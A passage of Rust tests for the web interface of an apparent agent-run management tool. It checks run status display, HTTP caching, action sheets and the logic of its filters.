15493        write_run(&runs, run_b, RunStatus::Implementing);
15494        let mut t3 = Task::new(
15495            "retrying".to_owned(),
15496            "do it".to_owned(),
15497            PathBuf::from("/repo"),
15498            Source::Human,
15499        );
15500        t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
15501        q.put(&mut t3).expect("put");
15502        let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
15503        assert_eq!(view3["latest_attempt"]["id"], run_b);
15504        assert_eq!(view3["latest_attempt"]["resolved"], false);
15505        assert_eq!(view3["latest_attempt"]["done"], false);
15506
15507        // VerifiedNoop: a candidate's own unconfirmed claim, held for a human
15508        // to check - not a confirmed finish, so this must not read as
15509        // resolved either, even though the run is done in the sense that
15510        // nothing is still running.
15511        let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
15512        write_run(&runs, noop_a, RunStatus::Blocked);
15513        write_run(&runs, noop_b, RunStatus::VerifiedNoop);
15514        let mut t2 = Task::new(
15515            "claims done".to_owned(),
15516            "do it".to_owned(),
15517            PathBuf::from("/repo"),
15518            Source::Human,
15519        );
15520        t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
15521        q.put(&mut t2).expect("put");
15522        let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
15523        assert_eq!(
15524            view2["latest_attempt"]["resolved"], false,
15525            "an unverified no-op claim must not read as a confirmed finish"
15526        );
15527
15528        // Front end: an unresolved successor must not carry the "finished
15529        // this work" note or the muted chip treatment.
15530        assert!(APP_JS.contains("latest.resolved"));
15531        // ...but the link to it shows as soon as it exists, labelled by state
15532        // and without the "finished" wording or the muted chip.
15533        assert!(APP_JS.contains("successorNote(latest, inFlight)"));
15534        assert!(APP_JS.contains("Latest attempt: "));
15535        assert!(APP_JS.contains("in flight"));
15536        assert!(APP_JS.contains("not resolved"));
15537    }
15538
15539    #[tokio::test]
15540    async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
15541        let fx = Fixture::start().await;
15542        // No cache header at all meant browsers invented their own policy,
15543        // and one did: a phone went on showing "Candidates must be folded
15544        // before deleting. Run `magi fold` first." - deleted two releases
15545        // earlier - from a deck that no longer contained the sentence. The
15546        // button it named was right there, and unreachable.
15547        let js = fx.get("/app.js").await;
15548        assert_eq!(js.status, 200);
15549        let tag = js
15550            .header("etag")
15551            .expect("an etag to revalidate against")
15552            .to_owned();
15553        assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
15554        assert_eq!(
15555            js.header("cache-control"),
15556            Some("no-cache, must-revalidate"),
15557            "the phone has to ask every time"
15558        );
15559
15560        // And the asking has to be cheap, or `must-revalidate` just means
15561        // "send the whole interface on every load".
15562        let again = fx
15563            .get_with("/app.js", &[("if-none-match", tag.as_str())])
15564            .await;
15565        assert_eq!(
15566            again.status, 304,
15567            "a deck it already has costs one round trip"
15568        );
15569        assert!(again.body.is_empty(), "304 carries no body");
15570
15571        // A weakened tag from a proxy still matches; a different build does
15572        // not, which is the case that has to deliver the new interface.
15573        let weak = fx
15574            .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
15575            .await;
15576        assert_eq!(weak.status, 304);
15577        let stale = fx
15578            .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
15579            .await;
15580        assert_eq!(stale.status, 200, "an older build must be replaced");
15581        assert!(stale.body.contains("renderRunActions"));
15582    }
15583
15584    #[test]
15585    fn the_task_detail_has_an_actions_fab_and_sheet() {
15586        assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
15587        assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
15588        assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
15589        // Shown only on the task route, closed everywhere else.
15590        assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
15591        assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
15592        // Refreshed whenever the detail redraws, including the loading state.
15593        assert!(APP_JS.contains("renderTaskActions(task);"));
15594        assert!(APP_JS.contains("renderTaskActions(null);"));
15595        // Same renderers and routes as the Queue card, no new endpoint.
15596        let sheet = APP_JS
15597            .find("function renderTaskActions")
15598            .expect("sheet renderer");
15599        let body = &APP_JS[sheet..sheet + 3000];
15600        assert!(body.contains("changePriority("));
15601        assert!(body.contains("openTaskEdit(task)"));
15602        assert!(body.contains("renderTaskHoldBox(host"));
15603        assert!(body.contains("renderTaskDoneBox(host"));
15604        assert!(body.contains("renderTaskDeleteBox(host"));
15605        assert!(APP_JS.contains("API.priority(id)"));
15606        assert!(APP_JS.contains("API.deleteTask(id)"));
15607        // A deleted task sends the operator back to the queue.
15608        assert!(APP_JS.contains("location.hash = \"#/queue\""));
15609        // A refusal is shown inside the sheet.
15610        assert!(APP_JS.contains("$(\"task-actions-error\")"));
15611    }
15612
15613    #[test]
15614    fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
15615        let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
15616        let actions = INDEX_HTML
15617            .find("id=\"run-actions-box\"")
15618            .expect("actions box");
15619        assert!(task < actions, "the task entry comes first in the sheet");
15620        assert!(APP_JS.contains("renderRunTaskEntry"));
15621        assert!(APP_JS.contains("\"Open task \""));
15622        // A run without a task says why there is nothing to open.
15623        assert!(APP_JS.contains("started directly, no task"));
15624        assert!(APP_JS.contains("sheet-task-link"));
15625        assert!(APP_JS.contains("task-chip-link"));
15626    }
15627
15628    #[test]
15629    fn the_deck_never_sends_the_operator_to_a_terminal() {
15630        // The whole point of the phone UI is that a terminal is not needed.
15631        // The delete control used to answer with "Run `magi fold` first."
15632        assert!(
15633            !APP_JS.contains("Run `magi fold` first"),
15634            "the deck must offer the fold, not prescribe a shell command"
15635        );
15636        assert!(APP_JS.contains("foldRun:"));
15637        assert!(APP_JS.contains("resumeRun:"));
15638        assert!(APP_JS.contains("renderRunActions"));
15639
15640        // Folding is destructive and armed in two steps, like deleting.
15641        assert!(APP_JS.contains("armedFold"));
15642        assert!(APP_JS.contains("Yes, fold worktrees"));
15643
15644        // And the copy has to say that the two actions are opposites, because
15645        // folding throws away exactly what a resume would continue from.
15646        assert!(APP_JS.contains("can no longer be resumed"));
15647    }
15648
15649    #[test]
15650    fn a_finished_run_explains_itself_with_its_own_last_line() {
15651        // The deck used to answer "why did this stop?" with a sentence chosen
15652        // by status alone. Run e633 stalled because two judges answered with
15653        // the wrong JSON shape and its card said "The panel collapsed on
15654        // agent quota" - with `quota: []` in the record and a quota-loss
15655        // counter right above it that correctly said nothing.
15656        assert!(
15657            !APP_JS.contains("collapsed on agent quota"),
15658            "a stall must not be explained by a cause the deck did not check"
15659        );
15660        assert!(
15661            !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
15662            "and a block must not offer a guess with an `or` in it"
15663        );
15664
15665        // The reason it does have is `run.event`, which must reach finished
15666        // runs: gating it on movement hid the recorded truth at the one moment
15667        // the operator is reading the card to find out what happened.
15668        assert!(
15669            APP_JS.contains("setText(r.event, run.event || \"\")"),
15670            "the run's last line is rendered unconditionally"
15671        );
15672        assert!(
15673            !APP_JS.contains("moving && run.event"),
15674            "and never gated on the run still moving"
15675        );
15676
15677        // Quota keeps its own counter, fed by the number actually recorded.
15678        assert!(APP_JS.contains("lost to quota"));
15679    }
15680
15681    /// The runs tree (section) and the state chips (waiting/done) are two
15682    /// independent lenses ANDed together in `renderRuns`, and some pairings
15683    /// can never both be true for any run - every "Landed"/"Ended" run is
15684    /// done by construction, so pairing either with "Active" or "In flight"
15685    /// always rendered zero cards with the filter bar still claiming
15686    /// `Showing Ended`. `sectionCompatibleWithStateFilter` exists to catch
15687    /// that before it happens, checked against `REPRESENTATIVE_RUN_SHAPES` -
15688    /// a handful of (waiting, status) shapes standing in for the run
15689    /// lifecycle, because `cargo test` cannot execute the front end.
15690    ///
15691    /// That stand-in list is itself the part that drifted twice in review:
15692    /// once shipped with `waiting: true` paired with a done status the
15693    /// lifecycle cannot produce, then over-corrected into treating every
15694    /// waiting run as never done - which made "Waiting on you" look
15695    /// incompatible with "Done" even for the one real, reachable shape
15696    /// (Stalled/Blocked, both terminal yet still resumable) that is exactly
15697    /// that combination. This test parses the shapes and the done-rule back
15698    /// out of `APP_JS`, reimplements `runSection` and the five state
15699    /// predicates independently in Rust, and checks the resulting
15700    /// section/filter compatibility table against the lifecycle rules by
15701    /// hand - so either direction of drift fails it again.
15702    #[test]
15703    fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
15704        let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
15705        let shapes_body_start =
15706            APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
15707        let shapes_close = APP_JS[shapes_body_start..]
15708            .find("].map(")
15709            .expect("the shape list is closed by its done-computing .map(...)")
15710            + shapes_body_start;
15711        let shapes_src = &APP_JS[shapes_body_start..shapes_close];
15712
15713        let mut shapes: Vec<(bool, String, bool)> = Vec::new();
15714        for entry in shapes_src.split('{').skip(1) {
15715            let waiting = entry.contains("waiting: true");
15716            let dead = entry.contains("live: \"dead\"");
15717            let status_at =
15718                entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
15719            let status_end = entry[status_at..]
15720                .find('"')
15721                .expect("the status string is closed")
15722                + status_at;
15723            shapes.push((waiting, entry[status_at..status_end].to_string(), dead));
15724        }
15725        assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
15726
15727        // The done rule itself (`!["implementing"].includes(shape.status)`),
15728        // read out of the source rather than hardcoded, so a renamed
15729        // in-flight status can't silently make every parsed shape "done".
15730        let done_rule_marker = "done: !";
15731        let done_rule_at = APP_JS[shapes_close..]
15732            .find(done_rule_marker)
15733            .expect("the done rule follows the shape list")
15734            + shapes_close
15735            + done_rule_marker.len();
15736        let includes_at = APP_JS[done_rule_at..]
15737            .find(".includes(shape.status)")
15738            .expect("the done rule ends in .includes(shape.status)")
15739            + done_rule_at;
15740        let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
15741            .trim()
15742            .trim_start_matches('[')
15743            .trim_end_matches(']')
15744            .split(',')
15745            .map(|s| s.trim().trim_matches('"'))
15746            .filter(|s| !s.is_empty())
15747            .collect();
15748
15749        let shapes: Vec<(bool, String, bool, bool)> = shapes
15750            .into_iter()
15751            .map(|(waiting, status, dead)| {
15752                let done = !not_done.contains(&status.as_str());
15753                (waiting, status, dead, done)
15754            })
15755            .collect();
15756
15757        // `runSection` reimplemented from assets/ui/app.js: `waiting` wins
15758        // outright, then merged/ready land, stalled/blocked/failed/
15759        // verified_noop end, and everything else is still in flight.
15760        fn run_section(waiting: bool, status: &str, dead: bool) -> &'static str {
15761            if waiting {
15762                return "waiting";
15763            }
15764            if dead
15765                && !matches!(
15766                    status,
15767                    "merged"
15768                        | "ready"
15769                        | "stalled"
15770                        | "blocked"
15771                        | "failed"
15772                        | "verified_noop"
15773                        | "superseded"
15774                        | "already_in_base"
15775                )
15776            {
15777                return "stale";
15778            }
15779            match status {
15780                "merged" | "ready" => "landed",
15781                "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
15782                | "already_in_base" => "ended",
15783                _ => "flight",
15784            }
15785        }
15786
15787        // RUN_STATE_FILTERS' six `match` functions, reimplemented the same
15788        // way.
15789        fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
15790            match filter_key {
15791                "active" => !done,
15792                "flight" => !done && !waiting && !dead,
15793                "stale" => !done && !waiting && dead,
15794                "waiting" => waiting,
15795                "done" => done,
15796                "all" => true,
15797                other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
15798            }
15799        }
15800
15801        let compatible = |section: &str, filter_key: &str| {
15802            shapes.iter().any(|(waiting, status, dead, done)| {
15803                run_section(*waiting, status, *dead) == section
15804                    && filter_matches(filter_key, *waiting, *dead, *done)
15805            })
15806        };
15807
15808        // One row per RUN_SECTIONS key, in RUN_STATE_FILTERS' own order
15809        // (active, flight, stale, waiting, done, all) - hand-derived from the
15810        // lifecycle, independently of whatever REPRESENTATIVE_RUN_SHAPES
15811        // currently contains.
15812        let expected = [
15813            ("waiting", [true, false, false, true, true, true]),
15814            ("stale", [true, false, true, false, false, true]),
15815            ("flight", [true, true, false, false, false, true]),
15816            ("landed", [false, false, false, false, true, true]),
15817            ("ended", [false, false, false, false, true, true]),
15818        ];
15819        let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
15820
15821        for (section, wants) in expected {
15822            for (filter_key, want) in filter_keys.iter().zip(wants) {
15823                assert_eq!(
15824                    compatible(section, filter_key),
15825                    want,
15826                    "section {section:?} x filter {filter_key:?} should be compatible: {want}"
15827                );
15828            }
15829        }
15830
15831        // The compatibility check exists only to be acted on: both pickers
15832        // must actually consult it rather than just render its answer.
15833        assert!(
15834            APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
15835        );
15836        assert!(APP_JS.contains(
15837            "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
15838        ));
15839        assert!(APP_JS.contains(
15840            "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
15841        ));
15842    }
15843
15844    #[tokio::test]
15845    async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
15846        // An operator-named directory - git checkout or not - is never
15847        // second-guessed, even when it does not exist at all: only the
15848        // flag's own unmodified `.` default is ever eligible for discovery.
15849        let dir = tempfile::tempdir().expect("tempdir");
15850        let explicit = dir.path().join("not-a-checkout");
15851        std::fs::create_dir_all(&explicit).expect("create dir");
15852        assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
15853
15854        let missing = dir.path().join("does-not-exist-at-all");
15855        assert_eq!(normalize_default_repo(missing.clone()).await, missing);
15856    }
15857
15858    #[test]
15859    fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
15860        assert!(APP_JS.contains("function statsDonutArcs"));
15861        assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
15862        // A bucket click filters by the statuses src/stats.rs counts in it.
15863        assert!(APP_JS.contains("function statusInBucket"));
15864        assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
15865        assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
15866        let buckets = [
15867            "merged",
15868            "ready",
15869            "in_progress",
15870            "blocked",
15871            "failed",
15872            "verified_noop",
15873            "superseded",
15874            "stalled",
15875        ];
15876        for key in buckets {
15877            let var = format!("--verdict-{key}:");
15878            // Light, OS-dark and pinned-dark blocks each define it.
15879            assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
15880            assert!(
15881                APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
15882                "{key}"
15883            );
15884        }
15885    }
15886}